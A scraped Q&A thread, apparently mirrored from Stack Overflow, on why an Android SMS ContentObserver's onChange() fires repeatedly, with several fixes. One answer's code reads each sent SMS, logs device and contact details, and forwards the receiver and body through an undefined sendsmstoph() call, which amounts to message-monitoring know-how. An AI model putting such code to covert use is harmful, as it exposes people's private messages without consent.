Android: content observer's “onChange()” method is called multiple times

后端 未结 4 629
迷失自我
迷失自我 2020-12-17 20:32

I am using a content observer for content://sms. I am writing all the messages to a text file in SD card. But the onChange() method in the content

相关标签:
4条回答
  • 2020-12-17 20:51

    You need to override deliverSelfNotifications() to return true.

    class ObserverSms extends ContentObserver {
    private Context mContext;
    
    public ObserverSms(Context context, Handler handler) {
        super(handler);
        mContext = context;
    }
    
    @Override
    public boolean deliverSelfNotifications() {
        return true;
    }
    
    @Override
    public void onChange(boolean selfChange) {
        super.onChange(selfChange);
        MyLog.logDebugInConsole(TAG, "Sms Database Changed");
    }
    }
    
    0 讨论(0)
  • 2020-12-17 20:54

    The onChange() event is called once for each column that changes (i.e. "body" or "address") - thus the multiple calls. The easiest way to only process the data once is to store the value of the "_id" column, see if it has changed on the next iteration and then ignore.

    cur.getColumnIndex("_id")
    

    See example here: Sms ContentObserver onChange() fires multiple times

    0 讨论(0)
  • 2020-12-17 20:57

    Vivek, please ensure that you unregister your content observer any time you leave the activity e.g. in onDestroy() method, call unregisterContentObserver(). Hope this help ! (in my case it worked)

    0 讨论(0)
  • 2020-12-17 21:09

    Try this to avoid multiple execution of onChange()

    private Context context;
        private static int initialPos;
        private static final String TAG = "SMSContentObserver";
        private static final Uri uriSMS = Uri.parse("content://sms/sent");
    
        public SmsObserver(Handler handler, Context ctx) {
            super(handler);
            context = ctx;
            trackMeData = context.getSharedPreferences("LockedSIM", 0);
            initialPos = getLastMsgId();
    
        }
    
        @Override
        public void onChange(boolean selfChange) {
            super.onChange(selfChange);
            queryLastSentSMS();
        }
    
        public int getLastMsgId() {
    
            Cursor cur = context.getContentResolver().query(uriSMS, null, null, null, null);
            cur.moveToFirst();
            int lastMsgId = cur.getInt(cur.getColumnIndex("_id"));
            Log.i(TAG, "Last sent message id: " + String.valueOf(lastMsgId));
            return lastMsgId;
        }
    
        protected void queryLastSentSMS() {
    
            new Thread(new Runnable() {
    
                @Override
                public void run() {
                    Cursor cur =
                        context.getContentResolver().query(uriSMS, null, null, null, null);
    
                    if (cur.moveToNext()) {
    
    
    
                        try {
    
                            String body = cur.getString(cur.getColumnIndex("body"));
    
                            if (initialPos != getLastMsgId()) {
    
                                String receiver = cur.getString(cur.getColumnIndex("address"));
                                Log.i("account", myDeviceId);
                                Log.i("date", day + "-" + month + "-" + year + " "
                                    + hour + ":" + minute + ":" + seconde);
                                Log.i("sender", myTelephoneNumber);
                                Log.i("receiver", receiver );
    
    
                                // Then, set initialPos to the current position.
                                initialPos = getLastMsgId();
    
                                sendsmstoph(receiver, body);
                            }
                        } catch (Exception e) {
                            // Treat exception here
                        }
                    }
                    cur.close();
                }
            }).start();
    
        }
    
    0 讨论(0)
提交回复
热议问题